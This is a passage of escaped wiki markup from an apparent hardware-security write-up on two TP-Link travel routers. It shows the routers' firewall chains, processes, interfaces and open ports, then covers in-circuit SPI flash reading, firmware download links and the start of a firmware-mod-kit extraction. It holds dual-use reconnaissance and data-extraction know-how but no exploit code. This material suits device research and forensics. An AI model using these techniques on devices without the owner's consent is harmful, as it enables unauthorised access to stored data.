Chain OUTPUT (policy ACCEPT 1954 packets, 3746K bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
 1981 3755K OUTPUT_MARK_LOCAL  all  --  *      *       0.0.0.0/0            0.0.0.0/0&lt;br /&gt;
&lt;br /&gt;
Chain BRIDGE_ISOLATION (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain CTL (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FIREWALL (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FIREWALL_DDOS (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_DMZ (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_PT (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_UPNP (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_UPNP_SECCONN (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_VPN_PASSTHROUGH (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FORWARD_VS (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWD_MARK_LAN (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWD_MARK_WAN (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain FWRULE (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT_MARK_LOCAL (1 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PARENTCTL (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PCDROP (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain PCRULE (0 references)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Running processes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;  PID USER       VSZ STAT COMMAND&lt;br /&gt;
    1 admin     1068 S    init&lt;br /&gt;
    2 admin        0 SW   [kthreadd]&lt;br /&gt;
    3 admin        0 SW   [ksoftirqd/0]&lt;br /&gt;
    4 admin        0 SW   [kworker/0:0]&lt;br /&gt;
    5 admin        0 SW   [kworker/u:0]&lt;br /&gt;
    6 admin        0 SW&amp;lt;  [khelper]&lt;br /&gt;
    7 admin        0 SW   [kworker/u:1]&lt;br /&gt;
   44 admin        0 SW   [sync_supers]&lt;br /&gt;
   46 admin        0 SW   [bdi-default]&lt;br /&gt;
   48 admin        0 SW&amp;lt;  [kblockd]&lt;br /&gt;
   79 admin        0 SW   [kswapd0]&lt;br /&gt;
   81 admin        0 SW&amp;lt;  [crypto]&lt;br /&gt;
  642 admin        0 SW   [mtdblock0]&lt;br /&gt;
  647 admin        0 SW   [mtdblock1]&lt;br /&gt;
  652 admin        0 SW   [mtdblock2]&lt;br /&gt;
  657 admin        0 SW   [mtdblock3]&lt;br /&gt;
  662 admin        0 SW   [mtdblock4]&lt;br /&gt;
  667 admin        0 SW   [mtdblock5]&lt;br /&gt;
  672 admin        0 SW   [mtdblock6]&lt;br /&gt;
  690 admin        0 SW   [kworker/0:1]&lt;br /&gt;
  731 admin        0 SW   [khubd]&lt;br /&gt;
  777 admin     3132 S    cos&lt;br /&gt;
  778 admin     1068 S    /bin/sh&lt;br /&gt;
  867 admin     2300 S    igmpd&lt;br /&gt;
  870 admin     2320 S    mldProxy&lt;br /&gt;
  871 admin     3132 S    cos&lt;br /&gt;
  872 admin     3132 S    cos&lt;br /&gt;
  873 admin     3132 S    cos&lt;br /&gt;
  876 admin     2264 S    ntpc&lt;br /&gt;
  880 admin     2272 S    dyndns /var/tmp/dconf/dyndns.conf&lt;br /&gt;
  883 admin     2272 S    noipdns /var/tmp/dconf/noipdns.conf&lt;br /&gt;
  886 admin     2272 S    cmxdns /var/tmp/dconf/cmxdns.conf&lt;br /&gt;
  982 admin        0 SW   [RtmpCmdQTask]&lt;br /&gt;
  983 admin        0 SW   [RtmpWscTask]&lt;br /&gt;
  984 admin        0 SW   [RtmpMlmeTask]&lt;br /&gt;
  997 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1000 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1001 admin     1244 S    wlNetlinkTool&lt;br /&gt;
 1003 admin     1080 S    wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/&lt;br /&gt;
 1042 admin        0 SW   [RtmpCmdQTask]&lt;br /&gt;
 1043 admin        0 SW   [RtmpWscTask]&lt;br /&gt;
 1058 admin     1080 S    wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/&lt;br /&gt;
 1062 admin     2840 S    httpd&lt;br /&gt;
 1065 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1077 admin     2260 S    dnsProxy&lt;br /&gt;
 1080 admin     1068 S    dhcpd /var/tmp/dconf/udhcpd.conf&lt;br /&gt;
 1097 admin     1156 S    dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run&lt;br /&gt;
 1100 admin     2880 S    tmpd&lt;br /&gt;
 1104 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1105 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1106 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1107 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1108 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1109 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1110 admin     1764 S    upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port&lt;br /&gt;
 1111 admin     2740 S    tdpd&lt;br /&gt;
 1115 admin      992 R    dhcpc&lt;br /&gt;
 1124 admin     1036 S    zebra -d -f /var/tmp/dconf/zebra.conf&lt;br /&gt;
 1138 admin     2264 S    diagTool&lt;br /&gt;
 1187 admin     2464 S    ushare&lt;br /&gt;
 1193 admin     2464 S    ushare&lt;br /&gt;
 1195 admin     2464 S    ushare&lt;br /&gt;
 1196 admin     2464 S    ushare&lt;br /&gt;
 1197 admin     2464 S    ushare&lt;br /&gt;
 1198 admin     2464 S    ushare&lt;br /&gt;
 1199 admin     2464 S    ushare&lt;br /&gt;
 1202 admin     2464 S    ushare&lt;br /&gt;
 1215 admin      904 S    vsftpd&lt;br /&gt;
 1219 admin     3908 S    smbd -D&lt;br /&gt;
 1226 admin     3908 S    smbd -D&lt;br /&gt;
 1264 admin     2788 S    tddp&lt;br /&gt;
 1285 admin     1136 S    dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos&lt;br /&gt;
 1292 admin     1060 R    ps&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Interface Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
eth0      Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.3    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.4    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.5    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
eth0.6    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
ra0       Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
br0       Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FC&lt;br /&gt;
  LAN       inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0&lt;br /&gt;
&lt;br /&gt;
eth0.2    Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FD&lt;br /&gt;
  WAN       inet addr:192.168.0.101  Bcast:192.168.0.255  Mask:255.255.255.0&lt;br /&gt;
&lt;br /&gt;
lo        Link encap:Local Loopback&lt;br /&gt;
            inet addr:127.0.0.1  Mask:255.0.0.0&lt;br /&gt;
&lt;br /&gt;
rai0      Link encap:Ethernet  HWaddr 98:DA:C4:6E:00:FB&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Wireless Intercafe Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
lo        no wireless extensions.&lt;br /&gt;
ifb0      no wireless extensions.&lt;br /&gt;
ifb1      no wireless extensions.&lt;br /&gt;
sit0      no wireless extensions.&lt;br /&gt;
ip6tnl0   no wireless extensions.&lt;br /&gt;
eth0      no wireless extensions.&lt;br /&gt;
br0       no wireless extensions.&lt;br /&gt;
eth0.3    no wireless extensions.&lt;br /&gt;
eth0.4    no wireless extensions.&lt;br /&gt;
eth0.5    no wireless extensions.&lt;br /&gt;
eth0.6    no wireless extensions.&lt;br /&gt;
eth0.2    no wireless extensions.&lt;br /&gt;
&lt;br /&gt;
ra0       RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_00FC&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: 98:DA:C4:6E:00:FC&lt;br /&gt;
          Bit Rate=300 Mb/s&lt;br /&gt;
&lt;br /&gt;
ra1       RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_Guest_00FC&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: 9A:DA:C4:7E:00:FC&lt;br /&gt;
          Bit Rate=300 Mb/s&lt;br /&gt;
&lt;br /&gt;
apcli0    RTWIFI SoftAP  ESSID:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=3  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:300 Mb/s&lt;br /&gt;
&lt;br /&gt;
rai0      RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_00FC_5G&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: 98:DA:C4:6E:00:FB&lt;br /&gt;
          Bit Rate=433.5 Mb/s&lt;br /&gt;
&lt;br /&gt;
rai1      RTWIFI SoftAP  ESSID:&amp;quot;TP-Link_Guest_00FC_5G&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: 9A:DA:C4:6C:00:FB&lt;br /&gt;
          Bit Rate=433.5 Mb/s&lt;br /&gt;
&lt;br /&gt;
apclii0   RTWIFI SoftAP  ESSID:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Channel=36  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:150 Mb/s&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Open Ports&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;cat /proc/net/tcp&lt;br /&gt;
  sl  local_address rem_address   st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt   uid  timeout inode&lt;br /&gt;
   0: 0100007F:4E22 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 604 1 830ec040 300 0 0 2 -1&lt;br /&gt;
   1: 0101A8C0:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1057 1 830ed580 300 0 0 2 -1&lt;br /&gt;
   2: 00000000:076C 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 618 1 830ec480 300 0 0 2 -1&lt;br /&gt;
   3: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 548 1 830ed9c0 300 0 0 2 -1&lt;br /&gt;
   4: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1029 1 830ecd00 300 0 0 2 -1&lt;br /&gt;
   5: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1090 1 80c279e0 300 0 0 2 -1&lt;br /&gt;
   6: 00000000:9FFB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 994 1 830ec8c0 300 0 0 2 -1&lt;br /&gt;
   7: 0101A8C0:01BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 1056 1 830ed140 300 0 0 2 -1&lt;br /&gt;
   8: 0101A8C0:0050 6401A8C0:D633 06 00000000:00000000 03:000001C8 00000000     0        0 0 3 832f6840&amp;lt;&lt;br /&gt;
&lt;br /&gt;
/* Resolved&lt;br /&gt;
  sl  local_address 		rem_address  &lt;br /&gt;
   0: 127.0.0.1		:20002 	&lt;br /&gt;
   1: 192.168.1.1	:139 	&lt;br /&gt;
   2: 0.0.0.0		:190 	&lt;br /&gt;
   3: 0.0.0.0		:80 	&lt;br /&gt;
   4: 0.0.0.0		:21 	&lt;br /&gt;
   5: 0.0.0.0		:22 	&lt;br /&gt;
   6: 0.0.0.0		:40955 	&lt;br /&gt;
   7: 192.168.1.1	:445 	&lt;br /&gt;
// Client connection&lt;br /&gt;
   8: 192.168.1.1	:80 	192.168.1.100:54445*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Exploit Memory Chips&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;In-Circuit&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;SPI Flash&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Both examined devices use SPI NOR Flash (SOP8) to store data and/or (parts of) the firmware. The TL-WR902AC additionally uses a NAND flash chip, to which the chip-off data extraction needs to be applied. SPI (Serial Peripheral Interface) is a serial interface similar to UART. However, it is mainly used for communication between hardware components and offers a simple and efficient alternative to parallel bus systems following a master/slave architecture, which makes it very suitable for embedded applications. The focus of this work is on the use of SPI in combination with flash chips. With certain chip packages (e.g., SOP8/16), all data of the flash chip can be retrieved using SPI without having to unsolder the flash chip. In-Circuit Data Extraction allows chips to be read out without having to desolder them, which is only possible with chips of certain packages where the leads are exposed. Examples are NOR flash chips and EEPROMs of the Small-Outline Package (SOP), which use SPI or I2C. The SOP8 chips in this case could be read out using an SOP8 Clip and a CH341H programmer.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: TL-WR902AC: [https://www.winbond.com/resource-files/w25q64cv_revh_052214[2].pdf 25Q64CSIG]. TL-WR802N: [https://www.winbond.com/resource-files/w25q64jv%20spi%20%20%20revc%2006032016%20kms.pdf Winbond 25Q64JVS10]. Not processed yet.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Firmware&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Download&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;Current Version&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: VX describes the Hardware version X&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Need to review links and complete the list.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/us/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/eu/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/eu/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;JP&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/jp/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr902ac/v3/#Firmware V3]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 20px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Hardware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/us/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/us/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;DE&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/de/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/de/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/de/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;AT&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/at/support/download/tl-wr802n/v2/#Firmware V2]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;JP&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://www.tp-link.com/jp/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/jp/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/jp/support/download/tl-wr802n/v4/#Firmware V4]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Known Versions&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;th style=&amp;quot;text-align: left; width: 40px&amp;quot;&amp;gt;CC&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;HW&amp;lt;/th&amp;gt;&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Firmware Version&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V1&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/TL-WR902AC(EU)_V1_170628.zip 170628], [https://static.tp-link.com/TL-WR902AC(EU)_V1_160905.zip 160905]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V1&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/TL-WR902AC(US)_V1_160905.zip 160905]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;EU&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V3&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/2019/201912/20191213/TL-WR902AC(EU)_V3_191018.zip 191018], &amp;lt;b&amp;gt;[https://static.tp-link.com/2017/201712/20171208/TL-WR902AC(EU)_V3_170828.zip 170828]&amp;lt;/b&amp;gt;, [https://static.tp-link.com/TL-WR902AC(EU)_V3_170717.zip 170717]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;US&amp;lt;/td&amp;gt;&amp;lt;td style=&amp;quot;width: 20px&amp;quot;&amp;gt;V3&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;[https://static.tp-link.com/2020/202001/20200119/TL-WR902AC(US)_V3_191209.zip 191209], [https://static.tp-link.com/2018/201803/20180327/TL-WR902AC(US)_V3_171229.zip 171229], [https://static.tp-link.com/2017/201712/20171215/TL-WR902AC(US)_V3_170826.zip 170826]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Third-Party-Firmware&amp;lt;/h4&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The original firmware of some TP-Link products can be replaced with third-party firmware such as [https://dd-wrt.com DD-WRT]. TP-Link is not obligated to provide support or warranty for such modified devices, nor is it responsible for their stability or performance. TP-Link will not replace any damage caused by third-party firmware.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Extraction&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Using &amp;lt;b&amp;gt;[https://github.com/rampageX/firmware-mod-kit/wiki firmware-mod-kit]&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;$ ./firmware-mod-kit/extract-firmware.sh ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake&lt;br /&gt;
&lt;br /&gt;
Scanning firmware...&lt;br /&gt;
&lt;br /&gt;
Scan Time:     2020-06-20 03:58:35&lt;br /&gt;
Target File:   ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin&lt;br /&gt;
MD5 Checksum:  4e87ca6fb7717bb509e843fbac2d060e&lt;br /&gt;
Signatures:    344&lt;br /&gt;
&lt;br /&gt;
DECIMAL       HEXADECIMAL     DESCRIPTION&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
